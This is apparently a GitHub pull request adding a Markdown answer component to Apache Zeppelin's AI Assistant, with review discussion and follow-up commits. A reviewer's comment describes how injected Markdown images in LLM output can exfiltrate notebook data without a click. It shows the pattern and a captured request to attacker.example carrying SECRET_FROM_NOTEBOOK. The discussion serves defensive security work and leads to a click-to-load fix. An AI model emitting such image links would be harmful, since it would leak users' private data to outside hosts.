Skip to content

[ZEPPELIN-6744] Add AI Assistant Markdown answer component - #5570

Merged
voidmatcha merged 8 commits into
apache:masterfrom
miinhho:ZEPPELIN-6744-markdown-answer
Oct 16, 2026
Merged

voidmatcha merged 8 commits into
apache:masterfrom
miinhho:ZEPPELIN-6744-markdown-answer

Conversation

@miinhho

@miinhho miinhho commented Oct 13, 2026

Copy link
Copy Markdown
Contributor

What is this PR for?

Add a React Markdown answer component for the AI Assistant.

The component renders GFM tables and language-labelled code blocks, supports unclosed code fences during streaming, and reports paragraph reference clicks through a callback. HTML is displayed as text and dangerous link URLs are blocked.

Includes Storybook examples and unit tests for rendering, input updates, paragraph references, and unsafe content.

What type of PR is it?

Feature

What is the Jira issue?

https://issues.apache.org/jira/browse/ZEPPELIN-6744

How should this be tested?

From zeppelin-web-angular/projects/zeppelin-react:

npm ci
npm test -- --maxWorkers=1
npm run typecheck
npm run lint
npm run build:storybook
npm run storybook

Open Assistant / MarkdownAnswer and check both light and dark themes:

  • GfmTable / SqlCode: confirm tables and long code lines scroll within the answer, and code blocks show their language.
  • PartialFence / Streaming: confirm an unclosed fence remains readable as chunks arrive and the following paragraph appears after the fence closes.
  • ParagraphReference: click the reference and confirm its ID and name appear in the callback status.
  • DangerousContent: confirm HTML appears as text and dangerous URLs are not navigable.

Questions:

  • Does the license files need to update?
    Yes. MIT license entries and texts for react-markdown and remark-gfm are included.

  • Is there breaking changes for older versions?
    No existing public API is changed.

  • Does this needs documentation?
    The React README includes a short component description and a pointer to its Storybook examples.

@voidmatcha
voidmatcha changed the base branch from master to branch-voidmatcha-assistant-storybook-temp October 13, 2026 10:39

@voidmatcha voidmatcha left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks. I ran the Storybook and checked the specs.

CI: the frontend job fails in npm run lint: prettier --check flags MarkdownAnswer.tsx (the new RegExp(...) call in textReferences fits on one line). prettier --write fixes it.

Fixes for the accessibility and footnote issues below are on my branch: voidmatcha/zeppelin@40506d0...ZEPPELIN-6744-pr5570-review-fixes

Please take whatever you find useful.

@voidmatcha

voidmatcha commented Oct 14, 2026 •

Copy link
Copy Markdown
Member

Markdown images are rendered by react-markdown's default, so once real LLM output is connected, an injected ![](https://…?q=<notebook data>) is a zero-click data-exfiltration path: the browser requests the image URL as soon as it renders.

Image rendered without a click

Captured request: https://attacker.example/pixel.png?q=SECRET_FROM_NOTEBOOK (a test domain; I intercepted the request).

Not a blocker here since the component has no caller yet. Please track it as a follow-up, for example: resolve image references in the app, load http(s) images only after a click, and/or restrict img-src on the host. Escaping HTML and dropping javascript: URLs, which this PR already does, does not cover it.

Related: this is a well-documented pattern in LLM assistants. The closest analog is Google Colab AI (a notebook assistant): https://embracethered.com/blog/posts/2024/google-colab-image-render-exfil/. Microsoft's Bing Chat fixed it with a Content-Security-Policy that restricts images to a few first-party domains (https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/), and Claude stopped auto-rendering images and asks the reader to click "Show Image" (https://embracethered.com/blog/posts/2023/anthropic-fixes-claude-data-exfiltration-via-images/).

@voidmatcha

voidmatcha commented Oct 14, 2026 •

Copy link
Copy Markdown
Member

All non-blocking.

  • Performance: memo is defeated when the parent passes inline callbacks, so every keystroke in a sibling input parses the whole answer again. memo -> useMemo (keep the parsed element keyed on content). In a synthetic benchmark (4x CPU throttle, typing while streaming), p95 input latency for a ~10KB answer went 72 -> 24ms.
  • Conventions: like [ZEPPELIN-6745] Add AI Assistant message and answer state UI #5567, function X() {} -> export const X = () => {}, props JSDoc, relative import -> @/ alias.
  • Headers: other files in this folder use the short Licensed under the Apache License… header. Both pass RAT and the ASF source-header policy names the long form as the standard, so it may be best to unify the repo in one go later (https://www.apache.org/legal/src-headers.html).

@miinhho

miinhho commented Oct 14, 2026

Copy link
Copy Markdown
Contributor Author

Thanks for providing the fixes. I cherry-picked your six commits covering:

  • Anchor prop forwarding, per-answer footnote and heading IDs, and fragment scroll/focus handling without native hash navigation.
  • Paragraph-button accessible names, the code-block region role, and the existing visually-hidden style for footnote headings.
  • Prettier formatting, Markdown-element memoization, and the component/import conventions.

@miinhho

miinhho commented Oct 14, 2026

Copy link
Copy Markdown
Contributor Author

Markdown images are rendered by react-markdown's default, so once real LLM output is connected, an injected ![](https://…?q=<notebook data>) is a zero-click data-exfiltration path: the browser requests the image URL as soon as it renders.

Image rendered without a click

Captured request: https://attacker.example/pixel.png?q=SECRET_FROM_NOTEBOOK (a test domain; I intercepted the request).

Not a blocker here since the component has no caller yet. Please track it as a follow-up, for example: resolve image references in the app, load http(s) images only after a click, and/or restrict img-src on the host. Escaping HTML and dropping javascript: URLs, which this PR already does, does not cover it.

Related: this is a well-documented pattern in LLM assistants. The closest analog is Google Colab AI (a notebook assistant): https://embracethered.com/blog/posts/2024/google-colab-image-render-exfil/. Microsoft's Bing Chat fixed it with a Content-Security-Policy that restricts images to a few first-party domains (https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/), and Claude stopped auto-rendering images and asks the reader to click "Show Image" (https://embracethered.com/blog/posts/2023/anthropic-fixes-claude-data-exfiltration-via-images/).

Agreed, thanks for flagging this. I’ll open a follow-up issue to track the image-loading policy so it can be addressed before real LLM output is connected.

@miinhho

miinhho commented Oct 14, 2026

Copy link
Copy Markdown
Contributor Author

I found one follow-up issue in the fragment focus handling: setting tabIndex = -1 unconditionally removes the footnote reference link from the tab order after following a back-reference. The handler now adds tabIndex only to non-focusable targets without an explicit tabindex, preserving existing tab stops. Added a regression test verifying that focus returns to the reference and it remains keyboard-reachable.

voidmatcha
voidmatcha previously approved these changes Oct 14, 2026

@voidmatcha voidmatcha left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for applying the changes. I confirmed all six suggested commits are in, and thanks for catching and fixing the lost tab stop after following a footnote back-reference. The condition is right and the regression test covers it.

I agree to track the image-loading policy as a follow-up issue.

LGTM 👍 Once the prerequisite PRs merge, I will retarget this PR to master and check the final diff and CI before merging.

@voidmatcha

Copy link
Copy Markdown
Member

@miinhho #5562 is on master, and this PR doesn't need #5561 or #5565. Could you rebase onto master, force-push, and then switch the base to master?

git fetch https://github.com/apache/zeppelin.git master
git rebase --onto FETCH_HEAD 4599ad2d9
git push --force-with-lease

It rebases without conflicts and the tests pass. Once this merges, #5572 will need the same rebase onto master.

@miinhho
miinhho force-pushed the ZEPPELIN-6744-markdown-answer branch from f4b3f16 to b54814c Compare October 16, 2026 14:17
@voidmatcha
voidmatcha changed the base branch from branch-voidmatcha-assistant-storybook-temp to master October 16, 2026 14:18
@voidmatcha
voidmatcha dismissed their stale review October 16, 2026 14:18

The base branch was changed.

@voidmatcha
voidmatcha merged commit baeff2f into apache:master Oct 16, 2026
@voidmatcha

Copy link
Copy Markdown
Member

Merged into master (baeff2f).

voidmatcha pushed a commit that referenced this pull request Oct 16, 2026
### What is this PR for?

Addresses the image-loading follow-up raised in [#5570](#5570 (comment)).

Model-generated Markdown can include image URLs containing notebook data. Loading these images automatically sends a request to the destination without user interaction.

This PR replaces automatic image loading with a **Load image** button. Before loading, the reader can review the image description, destination host, full URL, and a warning that the request may transmit information from the answer. Only HTTP(S) image URLs are supported.

Approval is specific to each image in an answer. Unchanged images retain approval during streaming, including when a reference definition gains a title. Changing the destination or removing and restoring an image requires fresh approval.

### What type of PR is it?

Bug Fix

### What is the Jira issue?
* https://issues.apache.org/jira/browse/ZEPPELIN-6751

### How should this be tested?

From `zeppelin-web-angular/projects/zeppelin-react`, run:

```bash
npm test -- src/entities/assistant/ui/MarkdownAnswer.spec.tsx
npm run typecheck
npm run build:storybook
npm run test:storybook -- markdown-answer-images.spec.mjs
```

For manual verification, run `npm run storybook` and open **Assistant / MarkdownAnswer**:

1. In **Image Loading**, inspect the browser’s Network panel. Confirm that no image request is sent before activation. Use Enter or Space to activate **Load image** and confirm that only the selected image loads.
2. In **Streaming Images**, load the image and append the next chunk. Confirm that the image remains loaded while its destination is unchanged. When a later chunk changes the destination, confirm that the new URL is displayed and requires another activation before loading.
3. Using the image story’s `content` control, remove an approved image and restore the same Markdown. Confirm that it requires approval again.

### Questions

- **License changes?** No.
- **Breaking changes?** No.
- **Documentation?** The React README explains image loading and the destination warning.


Closes #5572 from miinhho/assistant-image-loading-policy.

Signed-off-by: YONGJAE LEE <dev.yongjaelee@gmail.com>
voidmatcha pushed a commit that referenced this pull request Oct 20, 2026
### What is this PR for?

Add the AI Assistant message and answer state UI: user and Assistant messages are shown distinctly, and an answer displays its loading, streaming, tool-use, completed and error states. Everything is driven by fixture props. There is no server, transport or panel state. The components live in `projects/zeppelin-react/src/entities/assistant/ui`.

This PR adds new files under `entities/assistant/ui` and removes the temporary `Assistant/Setup` story. It builds on the shared contract from ZEPPELIN-6741 (#5561) and the Markdown answer from ZEPPELIN-6744 (#5570), both on `master`.

Commits:
1. **Message item and answer view types**
   * `AssistantMessageItem` renders a question or an answer:
     * A question is a right-aligned bubble, always shown as typed. It never goes through the content renderer.
     * An answer is a full-width body under an "AI / Assistant" label. While it streams, it is marked `aria-busy` and shows a caret where the text ends.
   * `AssistantAnswerView` is the display union (`loading` / `streaming` / `done` / `error`). It reuses `AssistantAnswerMessage` and `AssistantToolCallRef` from the ZEPPELIN-6741 contract.
2. **Answer status, tool log and error displays**
   * `AssistantAnswer` renders one view at a time. Each state fully replaces the last.
   * The progress line (`role="status"`) reads "Thinking…", "Writing answer…" or "Running \<tool\>…".
   * `AssistantToolLog` is open while a tool runs and collapses once the answer completes. A tool without a name is labelled "Tool".
   * `AssistantAnswerError` is an antd `Alert` (`role="alert"`):
     * `failed` (`run.failed`) and `stream` (`AssistantStreamError`) are errors with **Retry**.
     * `connection` (`AssistantConnectionError`) is a warning with **Reload conversation**, because the answer may have finished on the server.
     * With no `onRetry`, no button is shown.
     * A partial answer that arrived before the error is kept.
3. **Stories**
   * `Assistant/Message`: User, CompletedReply, StreamingReply, LongContent, Conversation.
   * `Assistant/Status`: Loading, Streaming, ToolRunning, Completed, CompletedWithTools, Failed, StreamError, ConnectionLost, ErrorWithoutRetry.
   * `Assistant/Status/StateSwitcher` switches the fixture from the Controls panel, so you can check that the states stay consistent in both themes.
4. **Review: remove the temporary theme check story**
   * `Assistant/Setup › TemporaryThemeCheck` (`AssistantScope.stories.tsx`) was a placeholder until the Assistant UI stories landed. Nothing else referenced it.
5. **Review: align the answer UI with segmented history** (by <at>voidmatcha)
   * A completed answer is an `AssistantAnswerMessage` with ordered `segments`. Its text joins the rounds in order, and its tool log lists the tools from every round.
   * Tools still marked running when an error arrives are shown as "status unknown", not as running or done.
6. **Review: render answers as Markdown by default**
   * `renderContent` now defaults to `MarkdownAnswer` from ZEPPELIN-6744. A parent can still pass its own, for example one that resolves paragraph references.
   * `MarkdownAnswer` wraps the text in blocks, so the streaming caret is now drawn inside the last block (or the last item of a closing list). It stays on the line where the text ends instead of dropping below it.

Styling uses `<at>vanilla-extract/css` through the Assistant theme contract only, so light and dark need no per-component rules. The HTML/CSS screens in `voidmatcha/assistant-storybook-share` were used as a design reference. The code is written from scratch.

**Out of scope** (per the issue / ZEPPELIN-6748): run event → view derivation, panel mounting in `AssistantWorkspace`, real tool calls, approval, persistence and WebSocket handling. Showing failed tool calls (raised in review) is tracked in ZEPPELIN-6754.

### What type of PR is it?
Feature

### Todos
* [x] Use the ZEPPELIN-6744 Markdown component as the default `renderContent` once it merges

### What is the Jira issue?
* https://issues.apache.org/jira/browse/ZEPPELIN-6745

### How should this be tested?
In `zeppelin-web-angular/projects/zeppelin-react`:
* `npm ci`, `npm test` (254 passed), `npm run typecheck`, `npm run lint` and `npm run build:storybook` all pass.
  * `typecheck` needs `npm ci` in `zeppelin-web-angular` first, because the SDK resolves `rxjs` from there.
  * The new files also pass the frontend's `prettier --check`.
* `npm run storybook`: both themes checked manually for every story above, including StateSwitcher.
* The specs were mutation-checked: making the connection error say "Retry", keeping the progress line on error, dropping the "Tool" fallback, rendering a question through `renderContent`, keeping the tool log open, or going back to a plain-text default each fails exactly the intended test.

**`npm run test:storybook`:**
* With `--workers=1`, all 68 tests pass.
* With the default config (3 workers), 1–5 tests time out between runs.
  * The traces show asset requests to the `python3 -m http.server` web server failing (status -1) and a blank page.
  * On the earlier temporary base (`4599ad2d9`), its own story alone reproduced this: with `--repeat-each=8`, 1–2 of 16 time out.
  * So it is a problem with the existing smoke-test server, not with these stories. I left it untouched here.

### Screenshots (if appropriate)
See the `Assistant/Message` and `Assistant/Status` stories.

### Questions:
* Does the license files need to update? No. There are no new dependencies.
* Is there breaking changes for older versions? No. Only new files are added, plus the removal of a temporary story.
* Does this needs documentation? No.



Closes #5567 from kimyenac/ZEPPELIN-6745.

Signed-off-by: YONGJAE LEE <dev.yongjaelee@gmail.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants